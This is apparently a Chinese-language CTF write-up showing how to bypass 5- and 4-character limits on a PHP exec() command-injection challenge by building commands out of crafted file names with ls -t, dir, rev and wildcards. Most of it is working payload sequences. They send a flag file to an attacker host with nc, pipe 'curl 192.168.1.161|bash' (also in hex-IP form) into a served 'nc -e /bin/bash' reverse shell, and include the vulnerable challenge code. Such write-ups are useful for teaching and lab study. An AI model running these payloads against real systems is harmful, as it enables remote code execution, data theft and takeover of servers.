期望执行的命令:cat flag|nc /*IP*/ 7777比如:cat flag|nc 192.168.1.161 7777
我们的逻辑是将这一串命令分隔为几部分作为文件名,这些文件名用ls -t会按被创建的时间顺序排列:
>ZL
>AR
>YY
最后ls查看结果为:
YY AR ZL
当我们按倒序创建文件之后,就可以利用ls -t>a将这些文件放在a文件中,最后sh a就可以执行需要的命令了:
?cmd=>7777
?cmd=>\ \\
//在创建文件名时利用到的空格和反斜杠和管道符都需要被转义
?cmd=>161\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\
?cmd=ls -t>a
?cmd=sh a
首先要开启kali监听:nc -lvp 7777
# 长度为5
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
$a=str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=5){
exec(filter($_GET['cmd']));
}else{
echo "flag in local path flag file!!";
}
?>
由于长度为5的限制,导致ls -t>a无法使用,并且如果写为文件名为空格的话也只能写一次,因为文件名不能重复>\ \\(长度刚好为5),所以需要更换期望执行的命令:
curl 192.168.1.161|bash
同时还需要kali开启一个web服务默认index.html页面内容为:
nc 192.168.1.161 -e /bin/bash
然后执行curl命令就会下载默认页面的html内容并通过管道符交给bash执行,那么此时kali再开启监听就能看到命令执行的结果
不过由于无法使用ls -t>a,那我们首先还需要构造这一串命令:
>ls\\
ls>_
//由于默认排序ls\\会被排在最后面,所以就需要把他写入到名字为_的文件里面
>\ \\
>-t\\
>\>y
ls>>_
//采用追加>>的写法将剩下的命令写入_
然后就是构造命令了:
>bash
>\|\\
>61\\
>1\\
>1.\\
>68\\
>2.\\
>19\\
>\ \\
>rl\\
>cu\\
sh _
//实际上就是执行ls -t>y
sh y
touch index.html
vim index.html
//在index.html里面写入:nc 192.168.1.161 7777 -e /bin/bash
python -m http.server 80
//这个是创建index.html页面
# 长度为4
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
$a=str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=4){
exec(filter($_GET['cmd']));
}else{
echo "flag in local path flag file!!";
}
?>
长度为4导致ls>>_不能使用
首先还是需要构造ls -t>g,其次我们需要构造反弹shell:curl 192.168.1.161|bash的变形:
curl 0xC0A801A1|bash //IP地址的的十六进制
dir 按列输出文件名,不换行
* 相当于$(dir *)
//*如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
rev 可以反转文件每一行的内容
>g\>
>ht-
//加上h不影响命令ls -th的执行,但是可以让生成的文件名ht-排列在sl前面
>sl
>dir
*>v
//这里cat v会看到:g> ht- sl,所以需要把他们写入文件使用rev v,但长度为5
>rev
*v>x
//这里的*为通配符,前可以匹配rev,后可以执行v
//最后x的内容就是ls -th >g
同时为了防止g后面有其它文件名造成影响,可以多创建一个文件g\;用;去隔断后面字符的影响
然后就是创建curl命令的文件了,最后执行:
sh x
sh g
与限制长度为5一样需要kali开启index.html
